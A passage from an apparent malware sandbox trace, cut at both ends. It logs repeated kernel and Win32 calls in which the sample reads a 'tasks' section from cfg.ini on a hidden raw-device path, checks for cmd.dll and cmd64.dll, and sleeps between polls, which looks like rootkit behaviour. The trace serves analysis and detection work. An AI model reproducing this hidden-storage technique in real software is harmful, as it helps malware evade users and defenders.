FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.411] KeLeaveCriticalRegion () [0121.411] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.412] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.412] KeEnterCriticalRegion () [0121.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.412] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.412] KeLeaveCriticalRegion () [0121.412] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.412] KeEnterCriticalRegion () [0121.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.412] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.412] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.412] KeLeaveCriticalRegion () [0121.412] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.412] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.412] KeEnterCriticalRegion () [0121.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.412] ExFreePoolWithTag (P=0xfffffa8003bba4b0, Tag=0x0) [0121.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.412] KeLeaveCriticalRegion () [0121.412] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.412] ReleaseMutex (hMutex=0xf0) returned 1 [0121.412] Sleep (dwMilliseconds=0x927c0) [0121.426] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.426] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.426] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.426] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.426] KeEnterCriticalRegion () [0121.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.426] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.426] IdePortDispatch () returned 0x103 [0121.426] KeWaitForMutexObject () returned 0x0 [0121.427] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.427] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.427] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.427] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.427] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.427] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc41c0 [0121.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.427] KeLeaveCriticalRegion () [0121.427] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.427] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.427] KeEnterCriticalRegion () [0121.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.427] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.427] KeLeaveCriticalRegion () [0121.427] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.427] KeEnterCriticalRegion () [0121.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.427] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.427] IdePortDispatch () returned 0x103 [0121.427] KeWaitForMutexObject () returned 0x0 [0121.427] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.427] KeLeaveCriticalRegion () [0121.427] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.427] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.427] KeEnterCriticalRegion () [0121.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.427] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2b000 [0121.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.427] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.427] IdePortDispatch () returned 0x103 [0121.428] KeWaitForMutexObject () returned 0x0 [0121.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.428] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.428] IdePortDispatch () returned 0x103 [0121.428] KeWaitForMutexObject () returned 0x0 [0121.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.428] KeLeaveCriticalRegion () [0121.428] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.428] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.428] KeEnterCriticalRegion () [0121.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.429] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.429] KeLeaveCriticalRegion () [0121.429] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.429] KeEnterCriticalRegion () [0121.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.429] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.429] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.429] KeLeaveCriticalRegion () [0121.429] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.429] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.429] KeEnterCriticalRegion () [0121.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.429] ExFreePoolWithTag (P=0xfffffa8003bc41c0, Tag=0x0) [0121.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.429] KeLeaveCriticalRegion () [0121.429] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.429] ReleaseMutex (hMutex=0xf0) returned 1 [0121.429] Sleep (dwMilliseconds=0x927c0) [0121.446] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.446] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.446] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.446] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.446] KeEnterCriticalRegion () [0121.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.446] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.446] IdePortDispatch () returned 0x103 [0121.446] KeWaitForMutexObject () returned 0x0 [0121.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.446] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.446] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.446] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.446] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.446] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5820 [0121.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.446] KeLeaveCriticalRegion () [0121.446] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.446] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.446] KeEnterCriticalRegion () [0121.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.447] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.447] KeLeaveCriticalRegion () [0121.447] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.447] KeEnterCriticalRegion () [0121.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.447] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.447] IdePortDispatch () returned 0x103 [0121.447] KeWaitForMutexObject () returned 0x0 [0121.447] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.447] KeLeaveCriticalRegion () [0121.447] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.447] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.447] KeEnterCriticalRegion () [0121.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.447] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b30000 [0121.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.447] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.447] IdePortDispatch () returned 0x103 [0121.447] KeWaitForMutexObject () returned 0x0 [0121.447] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.447] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.448] IdePortDispatch () returned 0x103 [0121.448] KeWaitForMutexObject () returned 0x0 [0121.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.448] KeLeaveCriticalRegion () [0121.448] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.448] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.448] KeEnterCriticalRegion () [0121.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.448] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.448] KeLeaveCriticalRegion () [0121.448] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.448] KeEnterCriticalRegion () [0121.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.448] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.448] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc58e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.448] KeLeaveCriticalRegion () [0121.448] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.448] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.448] KeEnterCriticalRegion () [0121.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.449] ExFreePoolWithTag (P=0xfffffa8003bc5820, Tag=0x0) [0121.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.449] KeLeaveCriticalRegion () [0121.449] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.449] ReleaseMutex (hMutex=0xf0) returned 1 [0121.449] Sleep (dwMilliseconds=0x927c0) [0121.462] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.462] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.462] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.462] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.462] KeEnterCriticalRegion () [0121.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.462] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.462] IdePortDispatch () returned 0x103 [0121.462] KeWaitForMutexObject () returned 0x0 [0121.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.463] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.463] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.463] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.463] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.463] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4280 [0121.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.463] KeLeaveCriticalRegion () [0121.463] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.463] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.463] KeEnterCriticalRegion () [0121.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.463] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.463] KeLeaveCriticalRegion () [0121.463] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.463] KeEnterCriticalRegion () [0121.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.463] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.463] IdePortDispatch () returned 0x103 [0121.463] KeWaitForMutexObject () returned 0x0 [0121.463] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.463] KeLeaveCriticalRegion () [0121.463] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.463] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.463] KeEnterCriticalRegion () [0121.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.463] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b35000 [0121.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.463] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.463] IdePortDispatch () returned 0x103 [0121.464] KeWaitForMutexObject () returned 0x0 [0121.464] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.464] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.464] IdePortDispatch () returned 0x103 [0121.464] KeWaitForMutexObject () returned 0x0 [0121.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.464] KeLeaveCriticalRegion () [0121.464] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.464] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.464] KeEnterCriticalRegion () [0121.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.464] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.464] KeLeaveCriticalRegion () [0121.465] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.465] KeEnterCriticalRegion () [0121.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.465] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.465] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5b80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.465] KeLeaveCriticalRegion () [0121.465] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.465] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.465] KeEnterCriticalRegion () [0121.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.465] ExFreePoolWithTag (P=0xfffffa8003bc4280, Tag=0x0) [0121.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.465] KeLeaveCriticalRegion () [0121.465] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.465] ReleaseMutex (hMutex=0xf0) returned 1 [0121.465] Sleep (dwMilliseconds=0x927c0) [0121.479] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, 